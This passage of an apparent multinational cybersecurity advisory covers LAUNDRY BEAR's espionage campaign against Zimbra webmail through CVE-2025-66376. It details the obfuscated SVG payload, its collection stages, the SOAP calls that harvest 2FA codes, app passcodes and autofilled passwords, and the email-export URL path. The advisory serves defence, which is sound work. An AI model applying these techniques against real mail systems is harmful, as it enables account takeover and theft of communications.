<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
